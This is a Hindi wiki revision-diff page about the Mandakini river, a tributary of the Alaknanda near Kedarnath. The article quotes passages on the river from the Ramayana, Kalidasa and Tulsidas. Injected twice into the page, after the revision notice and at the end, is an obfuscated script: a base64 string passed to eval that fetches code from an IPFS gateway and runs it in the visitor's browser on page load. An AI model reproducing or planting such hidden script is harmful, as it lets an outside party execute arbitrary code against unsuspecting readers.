"मंदाकिनी नदी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
पंक्ति 1: पंक्ति 1:
 
{{पुनरीक्षण}}
 
{{पुनरीक्षण}}
 +
[[चित्र:Mandakini-River.jpg|thumb|250px|मंदाकिनी नदी]]
 
'''मंदाकिनी नदी''' [[उत्तराखण्ड]] राज्य के [[केदारनाथ]] के निकट से गुजरती है और यह [[अलकनंदा नदी]] की सहायक नदी है।
 
'''मंदाकिनी नदी''' [[उत्तराखण्ड]] राज्य के [[केदारनाथ]] के निकट से गुजरती है और यह [[अलकनंदा नदी]] की सहायक नदी है।
 
[[रामायण|वाल्मीकि रामायण]] अयोध्याकांड में इसका कई स्थानों पर उल्लेख है-  
 
[[रामायण|वाल्मीकि रामायण]] अयोध्याकांड में इसका कई स्थानों पर उल्लेख है-  
पंक्ति 7: पंक्ति 8:
 
*[[कालिदास]] ने [[रघुवंश महाकाव्य|रघुवंश]]<ref>[[रघुवंश महाकाव्य|रघुवंश]] 13,48</ref> में मंदाकिनी का विमानारूढ़ राम से ([[चित्रकूट]] के निकट) कितना ह्रदयग्राही वर्णन करवाया है-  
 
*[[कालिदास]] ने [[रघुवंश महाकाव्य|रघुवंश]]<ref>[[रघुवंश महाकाव्य|रघुवंश]] 13,48</ref> में मंदाकिनी का विमानारूढ़ राम से ([[चित्रकूट]] के निकट) कितना ह्रदयग्राही वर्णन करवाया है-  
 
:'एषा प्रसन्नस्तिमितप्रवाहा सरिद विदूरांतरभावतंवी, मंदाकिनी भाति नगोपकंठे मुक्तावली कंठगतैव भूमे:'।  
 
:'एषा प्रसन्नस्तिमितप्रवाहा सरिद विदूरांतरभावतंवी, मंदाकिनी भाति नगोपकंठे मुक्तावली कंठगतैव भूमे:'।  
 +
[[चित्र:Mandakini-River-And-Alakananda-River.jpg|thumb|250px|मंदाकिनी नदी और [[अलकनंदा नदी]] का संगम, रुद्र प्रयाग]]
 
*अध्यात्मरामायण अयोध्या<ref>[[अयोध्या काण्ड वा. रा.|अयोध्या]] 63</ref> में मंदाकिनी को [[गंगा]] कहा गया है-  
 
*अध्यात्मरामायण अयोध्या<ref>[[अयोध्या काण्ड वा. रा.|अयोध्या]] 63</ref> में मंदाकिनी को [[गंगा]] कहा गया है-  
 
:'ऊचुरग्रे गिरे: पश्चाद गंगाया उत्तरतटे विविक्तं रामसदनं रम्यं काननमंडित'।  
 
:'ऊचुरग्रे गिरे: पश्चाद गंगाया उत्तरतटे विविक्तं रामसदनं रम्यं काननमंडित'।  

10:03, 6 फ़रवरी 2012 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

मंदाकिनी नदी

मंदाकिनी नदी उत्तराखण्ड राज्य के केदारनाथ के निकट से गुजरती है और यह अलकनंदा नदी की सहायक नदी है। वाल्मीकि रामायण अयोध्याकांड में इसका कई स्थानों पर उल्लेख है-

'अयं गिरिश्चित्रकूटस्तथा मंदाकिनी नदी, एकत प्रकाशते दूरान्नीलमेघनिभंवनम्'; 'अथ शैलाद्विनिष्कम्य मैथिलीं कोशलेश्वर:, अदर्शयच्छुभजलां रम्यां मंदाकिनी नदीम्। विचित्र पुलिनां रम्यां हंससारससेविताम् कुसुमैरुपसंपन्नां पश्य मंदाकिनीं नदीम्। नानाविधैस्तीररुहैर्वुतां पुष्पफलमद्रुमै: राजंती राजराजस्य नलिनीमिव सर्वत:। क्वचिन् मणिनिकाशोदां क्वचित् पुलिनशालिनीम्, क्वचित्सिद्धजनाकीर्ण पश्य मंदाकिनी नदीम्। दर्शनं चित्रकूटस्य मदांकिन्याश्च शोभने अधिक पुरवासाच्च मन्ये तव च दर्शनात्। सखोवच्च विगाहस्व सोते मदांकिनींनदीम् कमलान्यवमज्जंती पुष्कराणि च भामिनि'।[1]

'कौशिकी मंदाकिनी यमुना.......'।
'एषा प्रसन्नस्तिमितप्रवाहा सरिद विदूरांतरभावतंवी, मंदाकिनी भाति नगोपकंठे मुक्तावली कंठगतैव भूमे:'।
मंदाकिनी नदी और अलकनंदा नदी का संगम, रुद्र प्रयाग
  • अध्यात्मरामायण अयोध्या[4] में मंदाकिनी को गंगा कहा गया है-
'ऊचुरग्रे गिरे: पश्चाद गंगाया उत्तरतटे विविक्तं रामसदनं रम्यं काननमंडित'।
'सुरसरि धार नाम मंदाकिनी जो सब पातक-पोतक डाकिनी'।
  • तुलसीदास ने मंदाकिनी के संबंध में प्रसिद्ध पौराणिक कथा का भी निर्देश किया है जिसमें इस नदी को अविऋषि की पत्नी अनसूया द्वारा चित्रकूट में लाए जाने का वर्णन है-
'नदी पुनीत पुरान बखानी, अत्रिप्रिया निज तपबल आनी'।
  • मंदाकिनी और पयास्विनी नदियों के संगम पर राघवप्रयाग नामक स्थान हैं।
अर्थ

मंदाकिनी शब्द का अर्थ 'मंद-मंद बहने वाली' है। इसके इस विशिष्टि गुण का वर्णन कालिदास ने उपर्युक्त श्लोक में 'स्तिमित प्रवाहा' कह कर किया है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>